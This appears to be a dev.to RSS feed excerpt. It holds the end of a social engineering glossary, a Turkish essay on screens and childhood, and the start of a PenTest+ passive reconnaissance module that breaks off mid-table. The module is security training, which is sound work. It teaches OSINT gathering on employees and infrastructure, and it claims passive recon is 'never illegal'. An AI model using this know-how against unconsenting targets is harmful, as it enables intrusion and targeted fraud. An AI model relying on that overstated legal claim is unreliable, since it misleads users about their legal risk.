&lt;p&gt;&lt;strong&gt;Social proof&lt;/strong&gt; — The tendency to use others' behavior as evidence of appropriate action, exploited through false claims that others have complied with a request.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Spear phishing&lt;/strong&gt; — Targeted phishing using personalized information about the specific target to increase credibility and click rates.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;System 1 / System 2 thinking&lt;/strong&gt; — Kahneman's model of dual-process cognition: System 1 is fast, automatic, and emotional; System 2 is slow, deliberate, and rational. Social engineering exploits System 1 while preventing System 2 from engaging.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tailgating&lt;/strong&gt; — Gaining unauthorized physical access to a restricted area by following closely behind an authorized person through a secured entry point, typically without their awareness.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;USB drop attack&lt;/strong&gt; — A physical social engineering attack that places malicious USB devices in locations where targets will find and connect them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vishing&lt;/strong&gt; — Voice phishing — social engineering attacks conducted via telephone calls.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Watering hole attack&lt;/strong&gt; — An attack that compromises websites or online resources frequently visited by target users, delivering malware or credentials through trusted sources.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Whaling&lt;/strong&gt; — Spear phishing targeting high-value individuals such as executives, board members, or celebrities.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;═══════════════════════════════════════════════════════════&lt;/em&gt;&lt;br&gt;
&lt;em&gt;MODULE 4 — SOCIAL ENGINEERING ATTACKS&lt;/em&gt;&lt;br&gt;
&lt;em&gt;COMPLETE&lt;/em&gt;&lt;br&gt;
&lt;em&gt;═══════════════════════════════════════════════════════════&lt;/em&gt;&lt;/p&gt;

</description>
      <category>socialengineering</category>
      <category>cybersecurity</category>
      <category>tutorial</category>
      <category>learning</category>
    </item>
    <item>
      <title>Çalınan Çocukluk: Sesizce Kaybolan Nesil</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Sun, 02 Aug 2026 12:28:33 +0000</pubDate>
      <link>https://dev.to/rencberakman/calinan-cocukluk-sesizce-kaybolan-nesil-53dh</link>
      <guid>https://dev.to/rencberakman/calinan-cocukluk-sesizce-kaybolan-nesil-53dh</guid>
      <description>&lt;p&gt;Ekranın Gölgesinde Büyümek: Kaybolan Çocukluğun Anatomisi&lt;/p&gt;

&lt;p&gt;Bir zamanlar çocukluk farklı bir şeydi.&lt;/p&gt;

&lt;p&gt;Sabah kapıdan çıkan çocuk, akşam yorgun ve toprak içinde dönerdi. Dizleri sıyrık, elleri kir içinde, gözleri parlak. O gün bir şeyler öğrenmişti — ama hiçbir ekran ona öğretmemişti bunu. Bir arkadaşının yüz ifadesini okumayı öğrenmişti. Kavga etmeyi, barışmayı, sırasını beklemeyi, hayal kırıklığını sindirmeyi. Büyüklerine rastladığında duraksıyor, selam veriyordu — bu bir kural değildi, bir his olduğu için yapıyordu. Çünkü karşısındakinin bakışından ne hissettireceğini içgüdüsel olarak biliyordu.&lt;/p&gt;

&lt;p&gt;O çocuk artık yok.&lt;/p&gt;

&lt;p&gt;Bugün çocuklar farklı bir dünyaya doğuyor. Gözlerini açtıklarında ekranlar var. İlk kelimeleri bazen gerçek bir insana değil, bir videoya yönelik söyleniyor. Beyin henüz şekillenirken, henüz dünyanın dokusunu kavramaya çalışırken, ona milyonlarca renk, ses ve uyaran yağıyor. Ve beyin bunu sindiremiyor. Hazır değil. Hiçbir zaman hazır olamaz.&lt;/p&gt;

&lt;p&gt;Beyin Bir İnşaat Alanıdır — Ve Biri Onu Kirletiyor&lt;/p&gt;

&lt;p&gt;İnsan beyni doğumla birlikte tamamlanmış bir yapı değildir. Aksine, yaşamın ilk yirmi beş yılı boyunca sürekli inşa halinde olan, deneyimle şekillenen, dokunduğu her şeyden iz alan bir organdır. New York Eyalet Üniversitesi’nden psikiyatri profesörü Dr. Julio Licinio bu pencereyi “kritikom” olarak tanımlıyor ve şunu söylüyor: “Doğumdan 25 yaşına kadar süren kritik bir gelişim penceresi var — bu dönemde beyne işlenenlerin kişinin hayatının geri kalanını belirlediğini.” &lt;/p&gt;

&lt;p&gt;Bu pencere açıkken ne oluyor? 10.000 Amerikalı çocuğu iki yıl boyunca izleyen bir araştırma, 9-10 yaş arası çocuklarda yüksek ekran maruziyetinin beyin korteksinde kalıcı incelmeye yol açtığını, hafıza, dikkat ve dürtü kontrolü gibi kritik fonksiyonların zarar gördüğünü ortaya koydu. &lt;/p&gt;

&lt;p&gt;Bunlar soyut rakamlar değil. Bunlar bir çocuğun ileride ne kadar derin düşünebileceğini, ne kadar sabır gösterebileceğini, bir insanın yüzünü ne kadar okuyabileceğini belirleyen veriler.&lt;/p&gt;

&lt;p&gt;Patricia Kuhl’un 4.000’den fazla bebek üzerinde yürüttüğü araştırmalar ise daha da çarpıcı bir gerçeği gözler önüne seriyor: Bebeklerin dil ve motor becerileri ekranlardan değil, yalnızca gerçek insan etkileşimi ve fiziksel çevre deneyimleri aracılığıyla gelişiyor. Yani bir bebek saatlerce eğitici video izleyebilir — ve bundan hiçbir şey öğrenemez. Öğrenme, gözlerin gözlerle buluşmasından doğar. Sesin sesin üzerine binmesinden. Dokunuştan. Gerçeklikten.&lt;/p&gt;

&lt;p&gt;Sosyal Zekânın Ölümü: İnsan Okumayı Unutan Nesil&lt;/p&gt;

&lt;p&gt;Eski nesil çocuklar — teknolojisiz büyüyenler — insanlarla iç içeydi. Her gün onlarca farklı yüz ifadesini, ses tonunu, beden dilini işliyorlardı. Bu bir ders değildi; bu hayatın kendisiydi. Ve bu sayede empatinin temelleri atılıyordu. Birinin üzgün olduğunu kelimeye gerek kalmadan anlıyorlardı. Birinin sesindeki kırılganlığı duyabiliyorlardı.&lt;/p&gt;

&lt;p&gt;Bugün büyüyen çocuklar ise sosyal etkileşimi büyük ölçüde ekran üzerinden öğreniyor. Ama ekran yüzü düzlüyor. Sesi tek boyuta indirgiyor. Beden dilini yok ediyor. Bir emoji ile ifade edilen duygu, gerçek bir yüz ifadesinin taşıdığı bilginin binde biridir. Çocuk bunu öğreniyor — ama gerçeği öğrenemeden.&lt;/p&gt;

&lt;p&gt;Sonuç: Karşısındaki insanın ne hissettiğini okuyamayan bir nesil. Empati kurmayı değil, reaksiyon vermeyi öğrenen bir nesil. Derin bir konuşma yerine hızlı bir yorum atmayı tercih eden bir nesil.&lt;/p&gt;

&lt;p&gt;Ve işte burada filozofların yüzyıllardır uyardığı şey gerçek oluyor: İnsan, insanla insan olur. İnsanı ekrandan öğrenen çocuk ise yarım kalır.&lt;/p&gt;

&lt;p&gt;Sosyal Medyanın Kurgusal Gerçekliği: Mutlu Karelerin Arkasındaki Yıkım&lt;/p&gt;

&lt;p&gt;Sosyal medya bir pencere değildir. Bir ayna değildir. Sosyal medya, seçilmiş, filtrelenmiş, kusursuzlaştırılmış bir kurgu sahnesidir.&lt;/p&gt;

&lt;p&gt;Bir genç her gün yüzlerce “mükemmel” an görüyor. Kusursuz bedenler, kusursuz tatiller, kusursuz ilişkiler. Bu anlara bakarken kendi hayatına bakıyor — gerçek hayatına. Sabah kalktığında dağınık saçlarına, sıradan odasına, monoton gününe. Ve içinde bir şey kırılıyor.&lt;/p&gt;

&lt;p&gt;Bu kırılma sessiz başlar. Önce hafif bir yetersizlik hissi. Sonra kronik bir mutsuzluk. Sonra kimlik krizi. San Diego Eyalet Üniversitesi’nden psikoloji profesörü Jean Twenge, ABD’li gençler arasında artan depresyon oranlarını araştırdığında tek ortak paydanın sosyal medya ve akıllı telefonlar olduğunu gördü. &lt;/p&gt;

&lt;p&gt;Ama asıl tehlike depresyonun ötesinde. Asıl tehlike şu: Bu çocuklar gerçeklikle bağlarını kaybediyor. Neyin gerçek neyin kurgu olduğunu ayırt edemez hale geliyorlar. Kendilerini başkalarının kurgusuna göre ölçtükçe, kendi gerçekliklerinden uzaklaşıyorlar.&lt;/p&gt;

&lt;p&gt;Platon mağara alegorisinde insanların duvardaki gölgeleri gerçek sanmasından bahseder. Sosyal medya çağında bu alegori somut hale geldi. Çocuklar gölgelere bakarak büyüyor — ve asıl ışığı hiç görmüyor.&lt;/p&gt;

&lt;p&gt;Düşünmenin Ölümü: Sorgulama Yetisinin Sessiz Kaybı&lt;/p&gt;

&lt;p&gt;Felsefe bir lükstür diye düşünülür. Oysa felsefe, bir çocuğun “neden?” diye sormasıyla başlar.&lt;/p&gt;

&lt;p&gt;O çocuk sormayı bıraktığında ne olur?&lt;/p&gt;

&lt;p&gt;Bugün büyüyen çocuklar bilgiye anında ulaşıyor. Aklına bir soru geldiği an cevabı orada. Bu muazzam bir imkân gibi görünüyor — ama aynı zamanda düşünme kasını köreltiyor. Çünkü düşünmek bir süreçtir. Soruyu içinde çevirmek, farklı açılardan bakmak, yanıt bulamazken o rahatsızlığa katlanmak — bunların hepsi zihinsel bir egzersizdir. Bu egzersiz yapılmazsa kas zayıflar.&lt;/p&gt;

&lt;p&gt;Bunun yanına bir şey daha ekleyin: Sosyal medyanın ürettiği içerik giderek daha kısa, daha hızlı, daha yüzeysel hale geliyor. Dikkat süresi saniyelerle ölçülüyor. Derinlikli bir düşünce, algoritmanın ilgisini çekmiyor. Yüzeysel, çarpıcı, anlık içerik öne çıkıyor. Ve çocuklar bunu yutarak büyüyor.&lt;/p&gt;

&lt;p&gt;Sonuç: Uzun bir metni okuyamayan, bir fikri zihninde uzun süre tutamayan, bir sorunu birden fazla açıdan ele alamayan bireyler. Düşünen değil, tüketen bireyler.&lt;/p&gt;

&lt;p&gt;Saygının Erimesi: Sınırlar Ortadan Kalktığında&lt;/p&gt;

&lt;p&gt;Bir nesil önce küçük bir hakaret bile büyük bir şeydi. Büyüklere karşı ses yükseltmek düşünülemezdi. Bir tartışmada “saçmalıyorsun” demek bile sınır ihlaliydi.&lt;/p&gt;

&lt;p&gt;Bugün bir çocuk sosyal medyaya girdiğinde neyle karşılaşıyor? Türkiye’de çocukların internet kullanım oranı 2024 yılında yüzde 91,3’e ulaştı. Bu çocukların büyük çoğunluğu, yaşlarına hiç uygun olmayan içeriklere, dile getirilemeyecek hakaretlere, normalleştirilmiş saldırganlığa maruz kalıyor. Günde saatlerce bu ortamda gezinen bir çocuğun sınır anlayışı kaçınılmaz olarak erozyona uğruyor.&lt;/p&gt;

&lt;p&gt;Ama daha derini var. Sosyal medya anonim bir cesaret yaratıyor. İnsanlar yüz yüze hiç söyleyemeyecekleri şeyleri ekran arkasından rahatlıkla söylüyor. Çocuk bunu görüyor, bunu öğreniyor, bunu içselleştiriyor. Ve gerçek hayatta da bu sınırsızlığı taşıyor.&lt;/p&gt;

&lt;p&gt;Bir toplumun değerleri kuşaktan kuşağa aktarılır — ama yalnızca aktaran eller sağlamsa. Bugün o eller ekrana teslim edilmiş durumda.&lt;/p&gt;

&lt;p&gt;Kültürün Silinmesi: Köksüz Büyümek&lt;/p&gt;

&lt;p&gt;Her toplumun çocukları, o toplumun hafızasını taşır. Masallar, türküler, gelenekler, ritüeller — bunlar süsleme değildir. Bunlar bir çocuğa “sen kimsin, nereden geliyorsun, nereye aitsin” diye fısıldayan şeylerdir. Kimlik bu seslerden doğar.&lt;/p&gt;

&lt;p&gt;Bugün o sesler kısılıyor.&lt;/p&gt;

&lt;p&gt;Çocuklar küresel bir algoritmaya teslim edilmiş durumda. Algoritma coğrafya tanımıyor, kültür tanımıyor, dil tanımıyor. Herkese aynı içeriği sunuyor. Ve bu içerik içinde büyüyen çocuk, kendi kültüründen, kendi dilinin inceliklerinden, kendi tarihinin derinliğinden kopuyor.&lt;/p&gt;

&lt;p&gt;Köksüz bir ağaç ayakta duramaz. Köksüz büyüyen bir çocuk ise kim olduğunu bilmeden hayata atılıyor.&lt;/p&gt;

&lt;p&gt;Duyarsızlığın Normalleşmesi: Her Şeye Alıştırılmak&lt;/p&gt;

&lt;p&gt;İnsan zihni tekrar ettiği şeye alışır. Bu bir savunma mekanizmasıdır. Ama bu mekanizma, yanlış şeylere tekrar tekrar maruz bırakıldığında yıkıcı hale gelir.&lt;/p&gt;

&lt;p&gt;Bugün bir çocuk sosyal medyada şiddeti, hakareti, acıyı, ölümü, trajedileri — hepsini günlük içerik olarak tüketiyor. Ve beyin buna alışıyor. Duyarlılık körleşiyor. Empati kapısı kapanıyor. Bir felaketi gördüğünde içi sızlamıyor çünkü daha önce defalarca benzerini görmüş ve beyin onu “normal” kategorisine koymuş.&lt;/p&gt;

&lt;p&gt;Bu sadece bireysel bir trajedi değildir. Bu toplumsal bir felakettir. Birbirine duyarsız insanlardan oluşan bir toplum, insanlığından bir şeyler kaybetmiş bir toplumdur.&lt;/p&gt;

&lt;p&gt;Peki Ne Yapmalı?&lt;/p&gt;

&lt;p&gt;Teknoloji geri sarılamaz. Ekranlar hayatımızdan çıkmayacak. Ama teslim olmak da kader değildir.&lt;/p&gt;

&lt;p&gt;Aileler için: En güçlü araç, hâlâ sizsiniz. Uzmanlar, ergenliğin bugün 9 yaşında başlayıp 30 yaşına kadar sürebildiğine dikkat çekiyor — yani müdahale için pencere hem erken hem geniş. Ekranı tamamen yasaklamak değil, onu bilinçli sınırlamak gerekiyor. Ama bunun da ötesinde: Çocuğunuzla konuşun. Gerçekten konuşun. Masa başında telefonsuz yemek yiyin. Kitap okuyun. Dışarı çıkın. Bu sıradan görünen şeyler, aslında çocuğun zihin yapısını inşa eden tuğlalardır.&lt;/p&gt;

&lt;p&gt;Bireyler için: Sosyal medyayı bir ayna olarak kullandığınız her an kendinizden bir şeyler yitiriyorsunuz. Tükettiğiniz içeriğe dikkat edin — beyin yediğiniz şeyden yapılır, aynı şekilde izlediğiniz şeyden de yapılır. Zaman zaman tamamen çevrimdışı olun. Sessizlikten kaçmayın — düşünce sessizlikte doğar.&lt;/p&gt;

&lt;p&gt;Toplum olarak: Bu bir eğitim meselesidir, siyaset meselesidir, kültür meselesidir. Medya okuryazarlığı zorunlu müfredata girmeli. Çocukların algoritmanın kurbanı olmadan önce onun nasıl çalıştığını anlaması gerekiyor. Eleştirel düşünce bir seçmeli ders değil, her dersin temeli olmalı.&lt;/p&gt;

&lt;p&gt;Son Söz&lt;/p&gt;

&lt;p&gt;Bir toplumun geleceği, çocuklarının zihinlerinde şekillenir.&lt;/p&gt;

&lt;p&gt;O zihinleri algoritmalara, şiddete, yüzeyselliğe, sahte mutluluk görüntülerine teslim ettiğimizde sadece bir nesli değil, o neslin inşa edeceği geleceği de teslim etmiş oluyoruz.&lt;/p&gt;

&lt;p&gt;Ama her şey hâlâ mümkün. Bir çocuğun gözlerinin içine bakıp gerçekten dinlemek mümkün. Onu sokağa çıkarmak, toprakla buluşturmak, sıkılmaya bırakmak mümkün. Ve sıkılan çocuk düşünmeye başlar — çünkü başka çaresi kalmaz.&lt;/p&gt;

&lt;p&gt;İşte o an, kayıp olan şey geri döner.&lt;/p&gt;

&lt;p&gt;Merak.&lt;/p&gt;

&lt;p&gt;Dünyanın güzelliği tek renkten gelmez.&lt;/p&gt;

&lt;p&gt;Senin kültürün güzel — ama o güzellik yalnızca senin kültürünün var olmasından değil, başka kültürlerin de var olmasından doğar. Tıpkı gençliğin güzelliğinin ancak yaşlılığın varlığıyla anlam kazanması gibi. Zıtlık olmadan güzellik olmaz. Fark olmadan anlam olmaz.&lt;/p&gt;

&lt;p&gt;Işık karanlığı bilmeden ışık değildir.&lt;/p&gt;

&lt;p&gt;Renk, yanındaki rengi bilmeden soluktur.&lt;/p&gt;

&lt;p&gt;Ve sen, başkasının farklılığına tahammül ettiğinde değil — o farklılığı var olduğu için şükrettiğinde gerçekten anlıyorsun bunu.&lt;/p&gt;

&lt;p&gt;Çünkü olmak için başkasına ihtiyacın var. Her zaman vardı.&lt;/p&gt;

&lt;p&gt;İnsanlık binlerce yıl farklı kaldı. Farklı diller, farklı ritüeller, farklı şarkılar, farklı acılar, farklı sevinçler. Bu zenginlikti. Bu insanlığın renk paleti idi.&lt;/p&gt;

&lt;p&gt;Ve sonunda bir birleşme geldi.&lt;/p&gt;

&lt;p&gt;Ama bu birleşme filozofların hayal ettiği gibi olmadı. Bilgelikte birleşme değildi. Sevgide birleşme değildi. Merakta, sanatta, insanlığın ortak derinliğinde birleşme değildi.&lt;/p&gt;

&lt;p&gt;Algoritma içinde birleştik.&lt;/p&gt;

&lt;p&gt;Aynı dans trendleri, aynı sesler, aynı şakalar, aynı öfkeler, aynı dikkat süreleri. Tokyo’daki çocuk ile İstanbul’daki çocuk aynı videoyu izliyor, aynı sese gülüyor, aynı içeriği tüketiyor. Yüzeyde bu birlik gibi görünüyor.&lt;/p&gt;

&lt;p&gt;Ama bu birlik değil — bu tekdüzelik.&lt;/p&gt;

&lt;p&gt;Birlik farklılıkların bir arada var olmasıdır. Tekdüzelik ise farklılıkların silinmesidir.&lt;/p&gt;

&lt;p&gt;Kültürler birbirini tanıyarak zenginleşmek yerine, birbirini silip aynılaşarak yoksullaşıyor. Ve geride kalan ortak kültür — insanlığın en derin birikiminden değil, algoritmanın en çok tıklanan içeriğinden damıtılmış bir şey.&lt;/p&gt;

&lt;p&gt;Barış bu değil. Birlik bu değil.&lt;/p&gt;

&lt;p&gt;Bu, renklerin tek tek söndüğü ve geride gri bir düzlük kaldığı bir tablodur.&lt;/p&gt;

</description>
      <category>teknoloji</category>
      <category>çocukluk</category>
      <category>çocuk</category>
      <category>gelisim</category>
    </item>
    <item>
      <title>Module 3: Information Gathering and Vulnerability Scanning</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Sat, 01 Aug 2026 12:20:25 +0000</pubDate>
      <link>https://dev.to/rencberakman/module-3-information-gathering-and-vulnerability-scanning-2ag8</link>
      <guid>https://dev.to/rencberakman/module-3-information-gathering-and-vulnerability-scanning-2ag8</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;CompTIA PenTest+ / Ethical Hacking Certification Series&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;em&gt;Professional Reference Guide — GitHub Edition&lt;/em&gt;&lt;br&gt;&lt;br&gt;
&lt;em&gt;Covers: Passive Reconnaissance · OSINT · DNS · Social Media · Cryptographic Analysis · Shodan&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;3.0 Introduction&lt;/li&gt;
&lt;li&gt;
3.1 Performing Passive Reconnaissance

&lt;ul&gt;
&lt;li&gt;3.1.1 Overview&lt;/li&gt;
&lt;li&gt;3.1.2 Active Reconnaissance vs. Passive Reconnaissance&lt;/li&gt;
&lt;li&gt;3.1.3 The OSINT Methodology — How Professionals Think&lt;/li&gt;
&lt;li&gt;3.1.4 OSINT Tools — The Complete Professional Arsenal&lt;/li&gt;
&lt;li&gt;3.1.5 DNS Lookups — Deep Dive&lt;/li&gt;
&lt;li&gt;3.1.6 DNS Reconnaissance — Advanced Techniques&lt;/li&gt;
&lt;li&gt;3.1.7 Identification of Technical and Administrative Contacts&lt;/li&gt;
&lt;li&gt;3.1.8 WHOIS Intelligence — Extracting Maximum Value&lt;/li&gt;
&lt;li&gt;3.1.9 DNS Lookups — Lab-Level Practical Reference&lt;/li&gt;
&lt;li&gt;3.1.10 Cloud vs. Self-Hosted Applications and Related Subdomains&lt;/li&gt;
&lt;li&gt;3.1.11 Social Media Scraping&lt;/li&gt;
&lt;li&gt;3.1.12 Employee Intelligence Gathering&lt;/li&gt;
&lt;li&gt;3.1.13 Cryptographic Flaws&lt;/li&gt;
&lt;li&gt;3.1.14 Finding Information from SSL Certificates&lt;/li&gt;
&lt;li&gt;3.1.15 Company Reputation and Security Posture&lt;/li&gt;
&lt;li&gt;3.1.16 File Metadata&lt;/li&gt;
&lt;li&gt;3.1.17 Web Archiving, Caching, and Public Code Repositories&lt;/li&gt;
&lt;li&gt;3.1.18 Finding Out About the Organization — Aggregation Techniques&lt;/li&gt;
&lt;li&gt;3.1.19 Advanced Searches — Google Dorking and Beyond&lt;/li&gt;
&lt;li&gt;3.1.20 Open-Source Intelligence (OSINT) Gathering — Frameworks and Automation&lt;/li&gt;
&lt;li&gt;3.1.21 Shodan — The Search Engine for Everything Connected&lt;/li&gt;
&lt;li&gt;3.1.22 Breach Data Intelligence — Leaked Credentials and Exposure Monitoring&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3.0 Introduction
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Module Overview: Information Gathering and Vulnerability Scanning
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Module Objective:&lt;/strong&gt; Perform information gathering and vulnerability scanning activities at a professional, senior-level standard.&lt;/p&gt;

&lt;p&gt;Before a single exploit is launched, before a single payload is crafted, every professional penetration tester invests significant time in a discipline that separates competent practitioners from exceptional ones: &lt;strong&gt;information gathering&lt;/strong&gt;. The reconnaissance phase is the intelligence foundation upon which the entire attack strategy is built. The quality of your reconnaissance directly determines the quality of your attack.&lt;/p&gt;

&lt;h4&gt;
  
  
  Why This Module is the Most Critical in the Entire Penetration Testing Process
&lt;/h4&gt;

&lt;p&gt;Consider the following reality: a skilled penetration tester with 10 hours of thorough reconnaissance and 2 hours of exploitation will consistently outperform a tester with 1 hour of reconnaissance and 11 hours of exploitation. This is because:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Attack surface knowledge&lt;/strong&gt; — You cannot attack what you do not know exists&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Targeted exploitation&lt;/strong&gt; — Knowing specific versions, technologies, and configurations enables precise attack selection&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stealth&lt;/strong&gt; — Passive reconnaissance leaves zero traces in target logs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Social engineering precision&lt;/strong&gt; — Detailed personnel and organizational intelligence enables highly credible pretexts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scope awareness&lt;/strong&gt; — Thorough OSINT reveals assets the client may not even know they have&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  The Reconnaissance-Attack Continuum
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PASSIVE RECON → ACTIVE RECON → SCANNING → ENUMERATION → EXPLOITATION → POST-EXPLOITATION
     (This Module Section 3.1)  (Section 3.2)  (Sections 3.3/3.4)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Passive Reconnaissance&lt;/strong&gt; is the first and most foundational phase. It involves gathering intelligence about a target using only publicly available information sources, without making any direct contact with the target's systems. The target never knows you are collecting this information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Active Reconnaissance&lt;/strong&gt; follows and involves directly interacting with target systems — sending probes, queries, and packets — to enumerate live systems, open ports, and services.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability Scanning&lt;/strong&gt; then uses the intelligence gathered in both recon phases to identify specific security weaknesses in enumerated systems.&lt;/p&gt;




&lt;h3&gt;
  
  
  Module Topics at a Glance
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Section&lt;/th&gt;
&lt;th&gt;Topic&lt;/th&gt;
&lt;th&gt;Objective&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;3.1&lt;/td&gt;
&lt;td&gt;Performing Passive Reconnaissance&lt;/td&gt;
&lt;td&gt;Collect intelligence without touching target systems&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3.2&lt;/td&gt;
&lt;td&gt;Performing Active Reconnaissance&lt;/td&gt;
&lt;td&gt;Directly probe target systems to enumerate infrastructure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3.3&lt;/td&gt;
&lt;td&gt;Understanding the Art of Performing Vulnerability Scans&lt;/td&gt;
&lt;td&gt;Conduct structured, methodical vulnerability scanning&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3.4&lt;/td&gt;
&lt;td&gt;Understanding How to Analyze Vulnerability Scan Results&lt;/td&gt;
&lt;td&gt;Interpret, prioritize, and act on scan findings&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  3.1 Performing Passive Reconnaissance
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1.1 Overview
&lt;/h3&gt;

&lt;p&gt;Passive reconnaissance is the discipline of collecting as much intelligence as possible about a target organization using only &lt;strong&gt;publicly available information&lt;/strong&gt; — information that exists in the open and can be accessed without the target's knowledge.&lt;/p&gt;

&lt;p&gt;The term "passive" is critical: during this phase, you generate &lt;strong&gt;zero network traffic to the target&lt;/strong&gt;. No pings. No port scans. No HTTP requests to the target's web server. Every data point is gathered from third-party sources, public databases, archived data, and open web resources.&lt;/p&gt;

&lt;h4&gt;
  
  
  Why Passive Reconnaissance Matters at the Senior Level
&lt;/h4&gt;

&lt;p&gt;Junior penetration testers often treat reconnaissance as a checklist to complete before getting to the "real work" of exploitation. Senior penetration testers understand that reconnaissance &lt;em&gt;is&lt;/em&gt; the work. The penetration testing firm Offensive Security, authors of Kali Linux and creators of the OSCP certification, teach that a penetration tester should spend at least &lt;strong&gt;30-40% of total engagement time&lt;/strong&gt; on reconnaissance.&lt;/p&gt;

&lt;p&gt;The professional reasons:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Legal protection:&lt;/strong&gt; Passive recon is never illegal. Accessing public information carries zero criminal risk, while premature active scanning of the wrong IP address is a CFAA violation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Attack precision:&lt;/strong&gt; Knowing that a target runs Apache Tomcat 9.0.41 on a specific IP enables you to immediately cross-reference known CVEs. Without this knowledge, you are scanning blindly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Organizational intelligence:&lt;/strong&gt; Passive recon reveals the human attack surface — executives, IT staff, vendors, technologies in use — enabling social engineering attacks that technical controls cannot stop.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Shadow IT discovery:&lt;/strong&gt; Passive recon routinely reveals subdomains, applications, and cloud assets that the client's IT team does not know exist. These unmanaged assets are frequently the easiest entry points.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Timeline intelligence:&lt;/strong&gt; Web archives reveal what technologies a target used in the past, sometimes exposing legacy systems still in use.&lt;/p&gt;




&lt;h3&gt;
  
  
  3.1.2 Active Reconnaissance vs. Passive Reconnaissance
&lt;/h3&gt;

&lt;p&gt;Understanding the precise boundary between passive and active reconnaissance is both a technical and a legal necessity.&lt;/p&gt;

&lt;h4&gt;
  
  
  Passive Reconnaissance — Defined
&lt;/h4&gt;

&lt;p&gt;Passive reconnaissance collects information from sources that are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Publicly indexed and accessible to anyone&lt;/li&gt;
&lt;li&gt;Third-party resources (not the target's own infrastructure)&lt;/li&gt;
&lt;li&gt;Archived or cached versions of target information&lt;/li&gt;
&lt;li&gt;Volunteered information (press releases, job listings, social media)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The defining test:&lt;/strong&gt; "Did my action generate any network traffic or log entries on the target's systems?" If no — it is passive.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Examples of passive reconnaissance activities:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Looking up DNS records using a third-party resolver&lt;/li&gt;
&lt;li&gt;Searching LinkedIn for employees of the target organization&lt;/li&gt;
&lt;li&gt;Examining cached versions of the target's website via Google Cache or Wayback Machine&lt;/li&gt;
&lt;li&gt;Reading the target's press releases and annual reports&lt;/li&gt;
&lt;li&gt;Searching Shodan for the target's IP ranges&lt;/li&gt;
&lt;li&gt;Examining SSL certificate transparency logs&lt;/li&gt;
&lt;li&gt;Running WHOIS lookups through a third-party service&lt;/li&gt;
&lt;li&gt;Searching GitHub for code related to the target organization&lt;/li&gt;
&lt;li&gt;Examining job listings to identify technologies in use&lt;/li&gt;
&lt;li&gt;Analyzing file metadata from documents published on the target's website&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Active Reconnaissance — Defined
&lt;/h4&gt;

&lt;p&gt;Active reconnaissance involves directly interacting with the target's systems and infrastructure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The defining test:&lt;/strong&gt; "Does my action generate network traffic that the target could log, detect, or block?" If yes — it is active.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Examples of active reconnaissance activities:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Port scanning the target's IP addresses (nmap)&lt;/li&gt;
&lt;li&gt;Banner grabbing from the target's servers&lt;/li&gt;
&lt;li&gt;Sending HTTP requests to the target's web application&lt;/li&gt;
&lt;li&gt;Tracerouting to the target's infrastructure&lt;/li&gt;
&lt;li&gt;Performing DNS zone transfer attempts against the target's DNS servers&lt;/li&gt;
&lt;li&gt;Crawling the target's website&lt;/li&gt;
&lt;li&gt;Sending ping probes to the target's IP ranges&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  The Legal Distinction
&lt;/h4&gt;

&lt;p&gt;This distinction has direct legal implications:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Aspect&lt;/th&gt;
